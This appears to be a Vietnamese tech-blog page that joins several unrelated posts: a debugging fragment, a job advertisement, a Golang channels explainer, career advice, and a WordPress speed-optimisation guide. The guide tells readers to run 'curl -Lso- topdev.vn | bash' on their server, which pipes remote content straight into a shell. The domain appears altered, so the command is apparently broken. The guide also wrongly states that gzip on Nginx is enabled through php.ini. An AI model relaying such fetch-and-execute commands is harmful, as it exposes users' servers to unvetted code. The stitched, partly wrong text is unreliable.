Đó là tất cả. Bước tiếp theo là đặt điểm ngắt bằng cách nhấp vào bên trái của trình chỉnh sửa đối với một số chức năng hoặc các thực thể khác mà bạn muốn khám phá.

Nhấp vào biểu tượng lỗi trong bảng điều khiển trên cùng

Bài viết gốc được đăng tải tại Medium

Xem thêm các vị trí tuyển dụng nhân viên it tại Topdev.vn

Cùng Vincere lan tỏa đam mê, vững xây bệ phóng để vươn xa

Sở hữu một lượng lớn khách hàng trên toàn cầu, Vincere vẫn không ngừng mở rộng quy mô phát triển và mang lại những giá trị dịch vụ tốt nhất. Bên cạnh một quy mô tầm cỡ, Vincere còn là môi trường phát triển sự nghiệp tuyệt vời cho những ai đang tìm kiếm cơ hội và theo đuổi đam mê về lĩnh vực công nghệ.

Vincere và những con số biết nói: 500+ khách hàng, 50+ quốc gia và 5 châu lục

Vincere là nền tảng CRM/ ATS dành cho các công ty tuyển dụng đầy tiềm năng thuộc mọi quy mô trên toàn cầu. Được xếp hạng bởi Gartner với vị trí dẫn đầu thị trường trong Báo cáo FrontRunners năm 2018, hệ thống của Vincere được thiết kế đặc biệt dành cho các công ty tuyển dụng bao gồm Temp & Contract, Perm, Executive Search và RPO, với khả năng tích hợp phía trước, giữa và sau.

  • Vincere mang đến phần mềm dịch vụ SaaS  cho các cơ quan tìm kiếm và điều hành nhân sự để tuyển dụng nhân tài trải rộng khắp 5 châu lục;
  • Vincere tự hào khi được hợp tác với hơn 500 khách hàng đến từ 50+ quốc gia bao gồm các tên tuổi lớn như Randstad & Empresaria Group;
  • Vincere đã và đang tiếp tục phát triển dữ liệu cơ sở khách hàng, tạo nên những giá trị khác biệt nhằm mang đến các trải nghiệm dịch vụ tốt nhất;

Với văn phòng hiện đại ở Singapore, Việt Nam và Sydney – Úc; Vincere vẫn tiếp tục mở rộng sự hiện diện ở Anh, Châu Âu, Hoa Kỳ. Và bên cạnh việc mở rộng quy mô thì việc đầu tư vào nguồn nhân lực sẽ là bệ phóng để đẩy tốc độ phát triển của Vincere được đi xa hơn.

Tại Vincere, niềm đam mê là không thể thiếu

Là một phần của đội ngũ Vincere, bạn sẽ cùng đóng góp vào sự phát triển bằng công cuộc xây dựng triển khai dịch vụ, giải pháp công nghệ thông tin cho các nhà tuyển dụng trên toàn cầu.

Vincere luôn trân trọng đam mê của mỗi người. Khi một đội ngũ có cùng đam mê và mục tiêu chung thì tốc độ phát triển sẽ vượt xa khỏi kỳ vọng. Để có thể mang lại cho khách hàng những trải nghiệm tuyệt vời cũng như một chất lượng dịch vụ tốt nhất, Vincere không ngừng chiêu mộ các nhân tài để cùng góp sức. Và để hội tụ được một đội ngũ tài năng, Vincere sẵn sàng mang đến chuỗi lợi ích hấp dẫn nhất dành cho nhân viên.

  • Thu nhập luôn chạm đến con số NGÀN ĐÔ;
  • Thưởng lương tháng 13 và các khoản hấp dẫn khác trong năm;
  • Chăm sóc sức khỏe tận tình cho nhân viên, đảm bảo quyền lợi trọn vẹn với BHYT;
  • Tài trợ hoàn toàn cho mỗi lần cất cánh như: vé máy bay, visa, chỗ ở và chi phí phát sinh khác;
  • Quy trình đào tạo phù hợp giúp người mới dễ dàng theo kịp tốc độ và gắn kết phát triển cùng team;
  • Cơ sở hạ tầng hiện đại và an toàn: phòng làm việc rộng lớn, sạch sẽ, mát mẻ, đảm bảo an ninh cùng với không khí trong lành không lo ô nhiễm;
  • Bung lụa trong team building mỗi quý với sự bao chi của công ty.

Bên cạnh môi trường làm việc thoải mái, những đồng nghiệp tại Vincere luôn hòa đồng, cởi mở, nhiệt tình giúp đỡ lẫn nhau để cùng tiến xa hơn. Nếu bạn đang tìm kiếm một nơi lý tưởng để phát triển sự nghiệp với thu nhập cạnh tranh, môi trường đoàn kết bền vững thì Vincere chính là một trong những lựa chọn sáng giá.

Những cơ hội nào đang được rộng mở tại Vincere?

Ứng tuyển vị trí Website Designer (Web Design) với offer khởi điểm từ $1,000

Mô tả công việc

  • Làm việc chặt chẽ với nhóm tiếp thị và quản lý để khái niệm hóa, tạo và thiết kế các wireframes và hình ảnh trên trang web
  • Thiết kế đồ họa cho tất cả các kỹ thuật số bao gồm: website, landing pages, phương tiện truyền thông xã hội, blog, eblasts và các chiến dịch tiếp thị kỹ thuật số khác;
  • Tham gia vào tất cả các giai đoạn thiết kế trực quan từ khái niệm đến kết quả cuối cùng;
  • Kết hợp các thiết kế UI / UX và xu hướng web hiện đại;
  • Duy trì sự hoạt động của trang web bằng cách phát triển và thực thi nội dung tiêu chuẩn.

Yêu cầu chính:

  • Hồ sơ về công việc thiết kế dựa trên web có liên quan;
  • Hiểu biết vững chắc về các nguyên tắc thiết kế và tâm lý màu sắc;
  • Có ít nhất 2-3 năm kinh nghiệm thiết kế website;
  • Thành thạo với Photoshop, lnDesign, Illustrator, hoặc các công cụ thiết kế hình ảnh khác;
  • Có kiến thức cơ bản về HTMLS, CSS3, JavaScript, công cụ lập trình web và CMS (WordPress hoặc Joomlal);
  • Hiểu về thiết kế di động, có khả năng thiết kế với kích thước/ độ phân giải màn hình khác nhau;

Yêu cầu chung:

  • Khả năng làm việc độc lập và với các đội để hoàn thành dự án; và theo thời hạn chặt chẽ;
  • Được tổ chức tốt, có trách nhiệm và cam kết, với khả năng làm việc trên nhiều dự án và cung cấp các dự án trong một môi trường có nhịp độ nhanh;
  • Tự học, linh hoạt và khả năng suy nghĩ nhạy bén;
  • Thành thạo tiếng Anh;
  • Có bằng Cử nhân về tương tác giữa con người và máy tính, thiết kế tương tác, đồ họa / thiết kế web, hoặc môn nghệ thuật thị giác
  • Có kỹ năng chụp ảnh và quay phim tốt là một lợi thế

Và còn nhiều vị trí hấp dẫn khác tại Vincere với offer từ NGÀN ĐÔ

Nắm chắc cơ hội – tự tin đổi mới tương lai

Channel trong Golang là gì? So sánh Callback function và mutex lock với channel

golang channel

Câu hỏi được đặt ra trong bối cảnh các bạn code NodeJS và các ngôn ngữ khác khi chuyển qua Golang mới được biết tới món đặt sản tên Channel. Thứ được tác giả ngôn ngữ thiết kế từ trong core, là first class language, không cần phải import thêm package để sử dụng.

Channel là gì?

Channel là để các tiến trình bất đồng bộ (trong Go hay gọi là Goroutines) có thể giao tiếp với nhau mà không cần phải dùng biến từ bên ngoài. Nó không được thiết kế để giải quyết mọi trường hợp của concurrent nhưng nó giúp việc này dễ dàng, an toàn và vui hơn. Thậm chí tới những trường hợp không cần dùng channel nhưng các gopher vẫn dùng channel chỉ vì họ thực sự thích nó.

Callback function và mutex lock khác gì với Channel ?

Điều làm Go Channel trở nên đặc biệt là vì nó vừa là kênh giao tiếp (truyền data), vừa là một cơ chế lock/unlock như mutex. Nó giống như hình ảnh của người phục vụ và thực khách, giả sử bàn ăn chỉ để được 1 món duy nhất.

Nếu tốc độ phục vụ đồ ăn nhanh hơn của khách, trên bàn còn món, thì người phục vụ sẽ đứng đợi để đặt lên món mới. Ngược lại người khách phải đợi phục vụ lên món mới ăn tiếp được.

Công việc của cả 2 người này là hoàn toàn bất đồng bộ với nhau, chỉ “giao tiếp” qua channel bàn ăn và đồ ăn trên bàn.

1. So với Callback function:

Khi ta cần chạy 1 task bất đồng bộ (async task), nhưng lại không biết khi nào nó done để lấy kết quả từ nó mà chạy tiếp. CB sẽ là một giải pháp, định nghĩa một function với tham số đầu vào là kết quả của task trên, khi task này chạy xong sẽ call vào hàm này.

Mình tạm coi đây là giao tiếp một chiều từ Async Task -> CB. Để làm được giao tiếp 2 chiều: Async Task <-> CB thì CB phải được định nghĩa có trả về để Async Task lấy nó rồi làm tiếp,…

Nhưng lưu ý là cách giao tiếp này Async Task sẽ gọi CB một cách bình thường, là Sync Call, phải đứng đợi trả về. Nếu ta cố gắng gọi CB như một Async Task nữa thì lại phải phát sinh thêm một CB nữa, việc này là rất rắc rối và dễ bị stackoverflow.

2. So với mutex lock:

Mutex lock vẫn luôn là giải pháp rất tốt và tránh bị data racing khi có nhiều Goroutines cùng đọc và ghi vào 1 biến chung. Đây là phương thức truyền thống, sử dụng share memory như một kênh giao tiếp. Trái ngược với Channel: dùng kênh giao tiếp để share memory.

Có thể bạn quan tâm:

Xử lý JSON với Golang

Server side cache with Go

Có 3 điểm khác biệt chính khi so sánh mutex lock và channel :

  • Channel đưa ra khái niệm give ownership, khi data đã đẩy vào channel, thì Goroutine hiện tại đã “bàn giao”. Goroutine nào nhận nó thì có toàn quyền, không cần care “ai đó” cũng đang xài chung hay không.
  • Nếu cần đồng bộ nhiều Goroutines (>2) thì ta nên dùng mutex lock. Vì mutex không quan tâm shared memory đang được tham chiếu bởi bao nhiêu Goroutines. việc dùng channel lúc này lại vô tình phức tạp hơn.
  • Vì mutex chỉ quan tâm là lock và unlock biến, nên một Goroutine có thể read/write shared memory N lần không care tới các tiến trình khác, miễn không bị lock. Với channel thì có, nó giúp đồng bộ cả số lượng thực thi của 2 tiến trình. Như ví dụ trên, rõ ràng là thực khách không thể ăn nhiều món hơn số lượt phục vụ được, và ngược lại với người phục vụ cũng thế. Đây là cơ chế rất quan trọng trong Streaming Data và pub/sub rất hay dùng trong Go.

Sẽ còn nhiều sự khác biệt khác nhưng có thể mình không kịp nhớ ra. Tuy nhiên việc so sánh không nhằm quảng bá thần thánh hoá Go Channel. Thay vào đó chúng ta sẽ cùng hiểu rõ bản chất của nó để đưa ra lựa giải pháp phù hợp cho bài toán cụ thể.

Việt Trần

Tham khảo thêm: Các vị trí tuyển dụng Golang lương cao tại Topdev

Software engineer phát triển bản thân như thế nào?

Software engineer phát triển bản thân như thế nào

Lúc đầu định viết về product nhưng xong thế nào lại suy ngẫm nhiều hơn về software engineering, nên mình chia sẻ lại một số quan điểm của mình về software engineering và cụ thể hơn là như thế nào để phát triển bản thân khi bạn là một software engineer:

– Tiếng Anh là một công cụ, và cái công cụ này bạn phải nắm chắc trong tay. Dữ liệu tiếng Anh về lập trình hay kiến trúc, thuận toán… trong SE có thể khẳng định là nhiều hơn tiếng Việt rất rất rất nhiều lần, và độ cập nhật của những dữ liệu này cũng nhanh hơn dữ liệu tiếng Việt rất rất nhiều lần. Khi bạn không đọc hiểu tốt hoặc viết tốt (đơn giản là Google được vấn đề bằng tiếng Anh) thì bạn tự nhốt mình trong một phạm vi rất eo hẹp về kiến thức.
– Làm gì cũng phải hiểu bản chất gốc rễ của vấn đề. Khi bạn code Javascript nếu bạn chỉ biết dùng Jquery bạn sẽ gặp rất nhiều vấn đề sau này vì Jquery là một abstraction (sorry mình không biết dịch cái này ra TV như thế nào), và khi gặp phải khó khăn trong việc tối ưu hóa performance của JS bạn sẽ bị hạn chế trong việc tìm ra tại sao cái này render chậm, tại sao cái kia conflict với cái này. Bản chất gốc rễ ở đây mà mình nói đến là bạn nên tìm hiểu browser hoạt động ra sao và cách browser xử lý script theo trình tự như thế nào, và JS khi single threaded sẽ behave như thế nào.
– Nên tìm hiểu về functional programming và tính bất biến trong lập trình, cái này sẽ giúp bạn và code bạn viết ra dễ debug hơn, và dễ hiểu phần nào hơn cho người khác khi đọc code của bạn. Khi mỗi hàm bạn viết ra không bị “bẩn”, tức là mỗi hàm bạn viết ra khi nó nhận tham số vào thì bạn sure là kết quả của tham số hoặc một bộ tham số đó sẽ cho ra cái gì đó bạn hoàn toàn đoán trước được (tính predictable). Nếu hàm bạn viết ra nhận 3 tham số explicitly và bên trong hàm đó lại có sử dụng một tham số global sẽ thay đổi theo thời gian hay context thì khả năng bạn debug cái hàm này sẽ ăn hành nhiều.
– Viết test không phải là tất cả, nhưng bạn nên viết test. Khi bạn làm ở một startup nhỏ, cần move fast, việc testing có thể không quan trọng đến vậy nhưng ở scale lớn thì nó rất quan trọng vì bạn sẽ không phải mất thời gian và QC cũng không phải mất thời gian test lại cái code bạn viết ra. Nên viết code như thế nào để QC càng ít phải test càng tốt.
– Khi tổ chức lớn dần thì nên có convention trong việc viết code, nên có quy chuẩn, vì một cái code base cũng như một cái tiểu thuyết được viết bởi nhiều người. Khi có nhiều người cùng viết một câu truyện thì nó càng cần sự nhất quán và rành mạch, nếu mỗi người viết theo một kiểu cái câu chuyện sẽ không ăn nhập, cái flow bị gãy và người đọc/user là người ăn hành.
– Làm software engineer không phải là chỉ ngồi code, mà là nghĩ ra cách giải quyết vấn đề. Nếu vấn đề nó không cần phải code và exception sẽ không xảy ra thì càng tốt, một software engineering giỏi là sẽ không nhảy bổ vô vấn đề và viết code mà phải tìm ra vấn đề này thực sự gốc rễ phát sinh ở đâu, có thể nó là business process, có thể nó là UI design…, không nhất thiết nó phải là code. Hãy nghĩ mình là người solve vấn đề và khi nào không thể solve vấn đề bằng code thì mới code.

Bài chia sẽ bởi anh Hoang D Nguyen là Head of commercial Engineering – phụ trách quản lý toàn bộ quá trình xây dựng product mang lại trải nghiệm end to end cho consumer, trên tất cả các nền tảng web, app của Tiki.

Xem tuyển dụng software developer đãi ngộ tốt trên TopDev

Quote* từ anh Nguyễn Đông:

Functional programming là một loại design, việc lựa chọn FP, OOP,. là design decision mà bạn sẽ quyết định từ đầu dự án và nó sẽ phụ thuộc vào dự án của bạn là gì, skill của members,... 
Còn việc bạn có dirty code hay không lại phụ thuộc vào những khía cạnh khác.

Tóm lại tiêu chí cần đạt được là:

--- Viết ra phần mềm mà mọi người thích sử dụng;
--- Code phải dễ bảo trì;
--- Bạn làm việc tốt với mọi người trong team;
--- It bug;
--- Giải quyết vấn đề bằng cách đơn giản;

Có nhiều tool và cách tiếp cận để đạt được những tiêu chí trên. Một trong đó là:

--- Practice TDD mỗi ngày 30phut;
--- Nắm những kiến thức cần thiết bất biến của software engineering: Là những kiến thức không bị lạc hậu nhanh theo thời gian như: principle knowledges, business knowlegde;
--- Code review;
..................................
Rất nhiều thứ khác. Nói chung phụ thuộc kinh nghiệm và khả năng tự reflect của mỗi người...

 

WordPress – Cách tối ưu web lên 99 điểm trên di động PageSpeed Insights

Wordpress - Cách tối ưu web lên 99 điểm trên di động PageSpeed Insights

Google vừa ra chuẩn đánh giá tốc độ đáp ứng của web mới khiến mọi người lao đao, chuẩn lần này coi bộ khá nặng nề, nhất là trên di động, mà bản thân trải nghiệm thấy hiện tại có trên 80% người sử dụng thiết bị di động, 10% sử dụng máy tính bảng, còn lại là trên máy bàn hoặc laptop vì vậy tối ưu trên di động gần như là điều tiên quyết ai cũng đang hướng tới.
Với những trang web lớn thì việc tối ưu đã diễn ra rất lâu rồi, vì sao ư, họ phải đi trước thời đại, cái gì cũng phải tốt nhất để sau này lớn mạnh thì không phải làm gì nhiều nữa, vì vậy những website cần tối ưu thường là những web mới làm, hoặc những web sài 1 thời gian nó trở nên chậm chạp và phải tối ưu để nó nhanh hơn, tăng trải nghiệm người dùng.

Bản thân là một Coder nên những vấn đề cơ bản bao trùm việc tối ưu mình xin tóm gọn như sau :
1)Tối ưu hoá hình ảnh.
2)Tối ưu hoá css,js.
3)Tối ưu code.
4)Sử dụng Cache và Preload.
5)Sử dụng Hosting hay VPS(máy chủ ảo) tốt.
6)Bật nén trong Hosting(VPS) hoặc Sử dụng CDN.

Mình xin đi vào chi tiết từng vấn đề, nếu các bạn gặp trục trặc ở vấn đề nào thì vui lòng để lại bình luận, trong khả năng mình sẽ trả lời.

1) Tối ưu hoá hình ảnh :

Hầu hết các website đều có hình ảnh chưa tối ưu, thường thì mình sẽ dùng công cụ gtmetrix để check xem hình nào chưa được tối ưu, mình sẽ làm như hướng dẫn của nó, bản thân gtmetrix sẽ tạo ra 1 ảnh đã tối ưu để mình tải về và quăng lên lại, việc này đơn giản và ai cũng có thể làm được.

Còn vấn đề nữa là gtmetrix hay báo “Serve scaled images”, có nghĩa là một ảnh nào đó nên để đúng kích thước của nó, không dùng ảnh có kích thước lớn hơn rồi bóp nhỏ lại để hiển thị, ví dụ ảnh đó chỉ cần 90×90 nhưng lại dùng ảnh kích thước 200×200 để hiển thị, nhưng vậy code nó phải mất thêm thời gian bóp nhỏ ảnh rồi mới hiển thị gây hao tài nguyên và cũng không cần thiết, gặp lỗi này thì cứ tải ảnh cần scaled( bóp lại) về, sau đó dùng photoshop hoặc trang web hoặc plugins(chỉ dùng cho mã nguồn wordpress) để bóp nhỏ kích thước và quăng lên lại, khuyến nghị nên dùng File Zilla để tải về và quăng ảnh lên.

2) Tối ưu hoá css,js:

Đa phần web nào cũng có file css và js, thường thì để load nhanh hơn người ta sẽ dùng cách minify(quá trình này loại bỏ các khoảng trắng của các ký tự trống, ký tự dòng mới, ghi chú và ký tự ngoặc nhọn khỏi mã nguồn của bạn) cho css, js. Với việc có quá nhiều file css và file js, người ta sau khi minify thì thường nối chúng lại để tăng tốc độ tải cho website.

Có rất nhiều website giúp bạn minify file css và js có thể hỗ trợ bạn việc này.
Lưu ý : việc làm này có thể gây vỡ giao diện, hãy luôn có 1 bản backup và sử dụng File Zilla để an toàn hơn.

3) Tối ưu code :

Hiện nay có rất nhiều mã nguồn khác nhau, mỗi mã nguồn lại chứa đựng vô số theme khác nhau, việc tối ưu code sẽ khó khăn hơn rất nhiều, vì vậy, khi thiết kế 1 website bạn nên chú ý đến việc nó sử dụng theme gì, có dễ dàng tối ưu không, cộng đồng hỗ trợ lớn không, có update thường xuyên không, v.v.v…

4) Sử dụng Cache và Preload

Dù bạn sử dụng mã nguồn nào bạn cũng cần phải tạo cache cho web, việc này thì hầu như web nào cũng phải tạo ra, mục đích là để khách truy cập lần đầu tiên web sẽ thực thi bình thường, kể từ lần thứ 2 thì khách truy cập đúng link đó thì nó sẽ thực thi nhanh hơn vì sử dụng lại file đã tạo ra dạng html nên máy chủ không phải xử lý như lần đầu tiên nữa, việc này vừa giúp tăng tốc tải trang vừa giúp cho việc sử dụng thấp nhất tài nguyên của Hosting(VPS).

Với đợt cập nhật Google PageSpeed Insight lần này, Google ưu tiên những web có sử dụng hàm “preload” trong code, nếu bạn muốn cải thiện tốc độ trên di động trên 90 điểm thì không thể bỏ qua việc này , với từ khoá “Preloading content with rel=”preload”+tên_mã_nguồn” mong là các bạn có thể tìm kiếm được thứ bạn cần.

5) Sử dụng Hosting hay VPS(máy chủ ảo) tốt.

Việc này cũng rất quan trọng, nó đảm bảo cho bạn có sự ổn định, trong SEO nó càng quan trọng hơn nữa. Nếu điều kiện kinh tế cho phép hãy mua 1 VPS để phục vụ cho sự ổn định của máy chủ vì SEO là công việc lâu dài, nên thời gian uptime càng cao càng tốt, lý tưởng nhất là 99,99%, thế thì làm sao để đánh giá 1 Hosting hay 1 VPS tốt. Bạn coi thử hosting của bạn có những điều này không nhé:
+ Sự ổn định, chưa thấy hoặc không thấy nó rơi vào tình trạng “Waiting for {tên_web_site}” quá lâu, ngay gốc trái màn hình, nếu bạn thấy nó cứ Waiting hoài, hoặc vô lâu nó đơ và trắng trang hoặc lỗi gì đó bằng Tiếng Anh hoặc tiếng Việt mà không phải giao diện của bạn thì bạn nên cân nhắc thay đổi Hosting (VPS) khác. Mình sử dụng VPS của Linode thấy nó rất ổn định và đảm bảo những gì mình cần.
+Sử dụng SSD
+Dùng NGINX
+Chạy hệ điều hành Centos
+Sử dụng Maria Database
Với Hosting thì chưa có nhà cung cấp nào ở Việt Nam cho mình cảm giác an tâm cả.
Còn với VPS thì Vultr tỏ ra nhanh vượt trội nhưng nó không ổn định, trải nghiệm dùng thử thì mình thấy như vậy.
Nhiều bạn với chi phí thấp nhưng vẫn muốn sử dụng VPS thì có thể góp mua chung để sài hay hơn là sử dụng Hosting Share.
Để kiểm tra VPS có ok không các bạn đăng nhập SSH trong VPS và dùng lệnh này :

curl -Lso- topdev.vn | bash

Có những thông số bạn cần lưu ý để nhận biết 1 VPS tốt :
+Loại ảo hoá tốt nhất là KVM & Cloud OpenStack, các loại ảo hoá khác như OpenVZ, XEN không nên sử dụng.
+Tốc độ trung bình( Average) : cần trên 400 MB/s
+Read IOPS : trên 35k mới gọi là ổn.
+Write IOPS : trên 20k mới gọi là ổn.

6) Bật nén trong Hosting(VPS) hoặc Sử dụng CDN

Khi bạn truy cập vào site của bạn, một request sẽ được gửi tới server để chuyển file xuống. Những file này càng lớn, càng mất nhiều thời gian để tải. Bằng cách nén trang web của bạn và CSS trước khi gửi chúng qua cho trình duyệt sẽ giảm thời gian tải xuống đáng kể vì files sẽ nhỏ hơn.Vì vậy kết quả cuối cùng sau khi gzip nén file, kích thước của trang và CSS có thể giảm tới 60-70%.
Với từng Web Server riệng thì việc bật Gzip cũng khác nhau, có thể kể đến các web server như Apache chúng ta phải chỉnh file .htaccess, với Nginx chúng ta chỉnh file php.ini, với các Web Server khác chúng ta có thể tham khảo anh Google.
Nếu việc bật Gzip khó khăn với bạn, bạn có thể sử dụng CDN, điển hình CDN miễn phí của Cloudflare có thể giúp bạn việc này, với những website có nhiều lượng truy cập từ nhiều nước khác nhau việc sử dụng CDN gần như bắt buộc.

Tham khảo thêm các vị trí tuyển dụng WordPress lương cao

***Tối ưu hoá mã nguồn WordPress :

Với mã nguồn được các SEOER tin tưởng thì việc tối ưu cũng trở nên bức thiết khi web ngày một chậm hơn. Cũng với những công đoạn trên, các bạn nên làm theo từng bước 1 ở trên để có được kết quả tốt nhất.
Một vấn đề tồn đọng mà hầu hết các bạn đang gặp phải là lỗi do không nén những file có nguồn gốc từ live chat của facebook và các ứng dụng như comment facebook hay Chúng tôi trên Facebook, Facebook sử dụng ngôn ngữ lập trình riêng trên nền tảng javascript “ReactJS” nên lúc cần phải truy xuất thì phải tham khảo rất nhiều file *.js để trả về kết quả, việc này là không cần thiết, điều cần nhất là inbox vào hộp thư fanpage facebook mà không phải sử dụng plugins, đơn giản nhất là chèn 1 ảnh có biểu tượng chat facebook và link tới hộp thư FanPage dạng m.me/duong-dan-fanpage-facebook và dùng css cố định ảnh đó chạy theo khi mình cuộn trang. Nó như sau :

<div style="position: fixed; cursor: pointer; width: 50px; height: 50px; top: 50%; left: auto; right: 5px; bottom: 0;">
<a href="https://m.me/duong_dan_fanpage">
<img class="alignnone wp-image-145 size-full" src="https://tenmien.com/…/u…/2018/11/ten-anh-bieu-tuong-chat.png" alt="" width="50" height="50" />
</a>
</div>

Dán vào file funtions.php hoặc 1 widget nào đó mà nó luôn hiển thị ở toàn trang ,nhớ thay đường dẫn fanpage và đường dẫn ảnh nhé, bác nào kỹ thì thêm thuộc tính nofollow cho ảnh và mở 1 tab mới cho link fanpage !
Với các nút tương tác khác như gọi trên mobile hay chat qua Zalo cũng tương tự, nên code bằng html và css, không sử dụng plugins nếu không thực sự cần thiết để tối ưu hoá tốc độ của WordPress. Một đoạn code để các bạn tham khảo :
code html:

<div class="phone">
<a href="#">
<div class="quick-alo-ph-circle"></div>
<div class="quick-alo-ph-circle-fill"></div>
<div class="quick-alo-ph-img-circle"></div>
</a>
</div>

code css :

* {
box-sizing: border-box;
}
.quick-alo-phone .quick-alo-show {
visibility: visible;
}
.quick-alo-phone {
position: fixed;
visibility: hidden;
background-color: transparent;
height: 200px;
width: 82px;
height: 64px;
right: 150px;
top: 60%;
cursor: pointer;
z-index: 200000 !important;
-webkit-backface-visibility: hidden;
-webkit-transform: translateZ(0);
transition: visibility .5s;
}
.quick-alo-phone .quick-alo-green .quick-alo-ph-circle {
border-color: #00A1FF;
opacity: 0.5;
}
.quick-alo-ph-circle {
position: fixed;
width: 160px;
height: 160px;
top: 50px;
left: 50px;
border: 2px solid #00A1FF;
background-color: transparent;
border-radius: 100%;
opacity: .1;
animation: quick-alo-circle-anim 1.2s infinite ease-in-out;
transition: all .5s;
transform-origin: 50% 50%;
}
.quick-alo-phone .quick-alo-green .quick-alo-ph-circle-fill {
background-color: rgb(246, 202, 98);
opacity: .75 !important;
}
.quick-alo-ph-circle-fill {
position: fixed;
width: 100px;
height: 100px;
top: 80px;
left: 80px;
background-color: rgba(0, 161, 255, 0.5);
border-radius: 100%;
border: 2px solid transparent;
opacity: .1;
animation: quick-alo-circle-fill-anim 2.3s infinite ease-in-out;
transition: all .5s;
transform-origin: 50% 50%;
}
.quick-alo-phone.quick-alo-green .quick-alo-ph-img-circle {
background-color: #00A1FF;
}
.quick-alo-ph-img-circle {
position: fixed;
width: 60px;
height: 60px;
top: 100px;
left: 100px;
background: #00A1FF url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABrklEQVRYR82XjTEEQRCFX0dABlwEiAARkAEyIAJEoERACETARUAIJwIyeOqptfbm5qeP3lpTdVVXVzPd3/R0v+4zTLxsYv/4XwAkrwDsV6JyZmaLyKj1ESB5AOCpYfzazAQZttYFuDWz8zDvwE8OkNwF8NIwvjCz2SgAMkqSDuOzyDxYqgKSrwB2GhBKxHsHqGtLCiDDJ42Tj2Z27LLu2JQCnAK4a5x7M7Nth23XlhRgE8B74+SemempQtaKEpKsPUPo++sGOYCSIIU7zwJ05ficSLLkV6H/CIn7wEi2GRVkOVwFixEoREE/hz9DsR2TVKkp2zeSsI9bBUNnJNV4bhIA5cFhVCk2B5JCWVYhSEopjwAob6qa4QGQOKkqcj1iJSdIpmoqWEHIhr7Ph1BNgC4haxAPAC7UITPOc1UrCOXR12TlAnBAyKhAdHvPUg4pIn6AAYQc1ebG8QC+LXfD66XHU2HP7yKQlKhGODWu1gCTY/g7wCAaendNyltrRCQOIAERjCc/ejV1V4H3dp2ES4jU1vVJpXxpogoHSEE7oOEIp9G+/3c1OkArcpMDfAIqL6EhVS6JOAAAAABJRU5ErkJggg==") no-repeat center center;
border-radius: 100%;
border: 2px solid transparent;
opacity: .99;
animation: quick-alo-circle-img-anim 1s infinite ease-in-out;
transform-origin: 50% 50%;
}
.quick-alo-phone .quick-alo-green .quick-alo-hover .quick-alo-ph-img-circle,
.quick-alo-phone.quick-alo-green:hover .quick-alo-ph-img-circle {
background-color: #ff0101;
}

@-moz-keyframes quick-alo-circle-anim {
0% {
-moz-transform: rotate(0) scale(.5) skew(1deg);
opacity: .1;
-moz-opacity: .1;
-webkit-opacity: .1;
-o-opacity: .1
}
30% {
-moz-transform: rotate(0) scale(.7) skew(1deg);
opacity: .5;
-moz-opacity: .5;
-webkit-opacity: .5;
-o-opacity: .5
}
100% {
-moz-transform: rotate(0) scale(1) skew(1deg);
opacity: .6;
-moz-opacity: .6;
-webkit-opacity: .6;
-o-opacity: .1
}
}
@-webkit-keyframes quick-alo-circle-anim {
0% {
-webkit-transform: rotate(0) scale(.5) skew(1deg);
-webkit-opacity: .1
}
30% {
-webkit-transform: rotate(0) scale(.7) skew(1deg);
-webkit-opacity: .5
}
100% {
-webkit-transform: rotate(0) scale(1) skew(1deg);
-webkit-opacity: .1
}
}
@-o-keyframes quick-alo-circle-anim {
0% {
-o-transform: rotate(0) kscale(.5) skew(1deg);
-o-opacity: .1
}
30% {
-o-transform: rotate(0) scale(.7) skew(1deg);
-o-opacity: .5
}
100% {
-o-transform: rotate(0) scale(1) skew(1deg);
-o-opacity: .1
}
}
@-moz-keyframes quick-alo-circle-fill-anim {
0% {
-moz-transform: rotate(0) scale(.7) skew(1deg);
opacity: .2
}
50% {
-moz-transform: rotate(0) -moz-scale(1) skew(1deg);
opacity: .2
}
100% {
-moz-transform: rotate(0) scale(.7) skew(1deg);
opacity: .2
}
}
@-webkit-keyframes quick-alo-circle-fill-anim {
0% {
-webkit-transform: rotate(0) scale(.7) skew(1deg);
opacity: .2
}
50% {
-webkit-transform: rotate(0) scale(1) skew(1deg);
opacity: .2
}
100% {
-webkit-transform: rotate(0) scale(.7) skew(1deg);
opacity: .2
}
}
@-o-keyframes quick-alo-circle-fill-anim {
0% {
-o-transform: rotate(0) scale(.7) skew(1deg);
opacity: .2
}
50% {
-o-transform: rotate(0) scale(1) skew(1deg);
opacity: .2
}
100% {
-o-transform: rotate(0) scale(.7) skew(1deg);
opacity: .2
}
}
@-moz-keyframes quick-alo-circle-img-anim {
0% {
transform: rotate(0) scale(1) skew(1deg)
}
10% {
-moz-transform: rotate(-25deg) scale(1) skew(1deg)
}
20% {
-moz-transform: rotate(25deg) scale(1) skew(1deg)
}
30% {
-moz-transform: rotate(-25deg) scale(1) skew(1deg)
}
40% {
-moz-transform: rotate(25deg) scale(1) skew(1deg)
}
50% {
-moz-transform: rotate(0) scale(1) skew(1deg)
}
100% {
-moz-transform: rotate(0) scale(1) skew(1deg)
}
}
@-webkit-keyframes quick-alo-circle-img-anim {
0% {
-webkit-transform: rotate(0) scale(1) skew(1deg)
}
10% {
-webkit-transform: rotate(-25deg) scale(1) skew(1deg)
}
20% {
-webkit-transform: rotate(25deg) scale(1) skew(1deg)
}
30% {
-webkit-transform: rotate(-25deg) scale(1) skew(1deg)
}
40% {
-webkit-transform: rotate(25deg) scale(1) skew(1deg)
}
50% {
-webkit-transform: rotate(0) scale(1) skew(1deg)
}
100% {
-webkit-transform: rotate(0) scale(1) skew(1deg)
}
}
@-o-keyframes quick-alo-circle-img-anim {
0% {
-o-transform: rotate(0) scale(1) skew(1deg)
}
10% {
-o-transform: rotate(-25deg) scale(1) skew(1deg)
}
20% {
-o-transform: rotate(25deg) scale(1) skew(1deg)
}
30% {
-o-transform: rotate(-25deg) scale(1) skew(1deg)
}
40% {
-o-transform: rotate(25deg) scale(1) skew(1deg)
}
50% {
-o-transform: rotate(0) scale(1) skew(1deg)
}
100% {
-o-transform: rotate(0) scale(1) skew(1deg)
}
}
@-moz-keyframes fadeInRight {
0% {
opacity: 0;
-webkit-transform: translate3d(100%, 0, 0);
-ms-transform: translate3d(100%, 0, 0);
transform: translate3d(100%, 0, 0)
}
100% {
opacity: 1;
-webkit-transform: none;
-ms-transform: none;
transform: none
}
}
@-webkit-keyframes fadeInRight {
0% {
opacity: 0;
-webkit-transform: translate3d(100%, 0, 0);
-ms-transform: translate3d(100%, 0, 0);
transform: translate3d(100%, 0, 0)
}
100% {
opacity: 1;
-webkit-transform: none;
-ms-transform: none;
transform: none
}
}
